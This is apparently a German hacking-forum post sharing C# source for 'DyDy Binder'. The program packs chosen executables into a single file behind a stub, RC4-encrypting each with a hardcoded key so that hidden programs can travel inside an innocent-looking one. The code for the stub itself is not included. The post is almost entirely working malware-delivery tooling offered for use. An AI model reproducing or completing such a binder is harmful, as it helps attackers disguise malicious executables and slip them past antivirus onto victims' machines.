Naja also das mach ich zwan net so gerne aber da es iwi nich alle glauben ..
da sin die code von einem beiner mit stub und die Funktion Stub usw werde einfach nicht genommen ^^

Code -.-
Code:
{public partial class frmMain : Form{
        private Byte[] EncryptionKey = { 4, 8, 15, 16, 23, 42 };
        private const string SplittString = "<@_@>";
        private const bool VerschlüssleDaten = true;
        [DllImport("uxtheme.dll", CharSet = CharSet.Unicode, ExactSpelling = true)]
        private static extern int SetWindowTheme(IntPtr hWnd, string appName, string partList);
        public frmMain(){
            InitializeComponent();
            SetWindowTheme(this.BinderListe.Handle, "explorer", null);}
        private void buttonClose_Click(object sender, EventArgs e){
            Application.Exit();}
        private void buttonAbout_Click(object sender, EventArgs e){
            MessageBox.Show("Binder - Coded by DyDy", "DyDy Binder", MessageBoxButtons.OK, MessageBoxIcon.Information);}
        private void MenuHinzufügen_Click(object sender, EventArgs e){
            OpenFileDialog dlg = new OpenFileDialog(); {
                dlg.CheckFileExists = true;
                dlg.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                dlg.Filter = "Ausführbare Dateien (*.exe) | *.exe";}
            if (!(dlg.ShowDialog() == DialogResult.Cancel)){
                ListViewItem item = new ListViewItem(); {
                    item.ImageIndex = BinderListe.Items.Count;
                    item.Text = dlg.SafeFileName;
                    item.SubItems.Add(dlg.FileName);}
                BinderListe.Items.Add(item);
                LeseExternesIcon(BinderListe);}}
        private void MenuEntfernen_Click(object sender, EventArgs e){
            foreach (ListViewItem item in BinderListe.SelectedItems) {
                BinderListe.Items.Remove(item);}}
        private void LeseExternesIcon(ListView lv) {
            imageList.Images.Clear();
            for (int i = 0; i < lv.Items.Count; i++) {
                imageList.Images.Add(Icon.ExtractAssociatedIcon(lv.Items[i].SubItems[1].Text));
                BinderListe.Items[i].ImageIndex = i;}}
        private void buttonCompile_Click(object sender, EventArgs e){
            if (!(BinderListe.Items.Count <= 0)){
                SaveFileDialog dlg = new SaveFileDialog();{
                    dlg.CheckPathExists = true;
                    dlg.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
                    dlg.Filter = "Ausführbare Dateien (*.exe) | *.exe";}
                if (!(dlg.ShowDialog() == DialogResult.Cancel)){
                    SchreibeStub(dlg.FileName);
                    SchreibeTrennzeichen("<StartEof>", dlg.FileName);
                    for (int i = 0; i < BinderListe.Items.Count; i++){
                        SchreibeDateien(dlg.FileName, LeseDatei(BinderListe.Items[i].SubItems[1].Text));
                        SchreibeTrennzeichen(SplittString, dlg.FileName);}MessageBox.Show("Datei wurde Erfolgreich Erstellt.", "DyDy Binder", MessageBoxButtons.OK, MessageBoxIcon.Information);}}}
        private void SchreibeStub(string Pfad){
            FileStream fs = new FileStream(Pfad, FileMode.Create);
            fs.Write(Properties.Resources.Stub, 0, Properties.Resources.Stub.Length);
            fs.Close();}
        private void SchreibeTrennzeichen(string ZeichenFolge, string Pfad){
            FileStream fs = File.Open(Pfad, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite);
            BinaryWriter bw = new BinaryWriter(fs);
            fs.Position = fs.Length + 1;
            bw.Write(ZeichenFolge);
            bw.Flush();
            bw.Close();}
        private void SchreibeDateien(string Pfad, byte[] Daten){ if (VerschlüssleDaten == true){RC4(ref Daten, EncryptionKey);}
            FileStream fs = File.Open(Pfad, FileMode.Append, FileAccess.Write, FileShare.None);{fs.Write(Daten, 0, Daten.Length);fs.Flush();fs.Close();}}
        private byte[] LeseDatei(string DateiPfad){
            StreamReader sr = new StreamReader(DateiPfad);
            BinaryReader br = new BinaryReader(sr.BaseStream);
            byte[] Buffer = br.ReadBytes((int)sr.BaseStream.Length);
            br.Close();
            sr.Close();
            return Buffer;}
        public void RC4(ref Byte[] bytes, Byte[] key){
            Byte[] s = new Byte[256];
            Byte[] k = new Byte[256];
            Byte temp;
            int i, j;
            for (i = 0; i < 256; i++){
                s[i] = (Byte)i;
                k[i] = key[i % key.GetLength(0)];}
            j = 0;
            for (i = 0; i < 256; i++){
                j = (j + s[i] + k[i]) % 256;
                temp = s[i];
                s[i] = s[j];
                s[j] = temp;}
            i = j = 0;
            for (int x = 0; x < bytes.GetLength(0); x++){
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                temp = s[i];
                s[i] = s[j];
                s[j] = temp;
                int t = (s[i] + s[j]) % 256;
                bytes[x] ^= s[t];}}
        private void frmMain_Load(object sender, EventArgs e)
        {
        }
        private void BinderListe_SelectedIndexChanged(object sender, EventArgs e)
        {
        }
}
}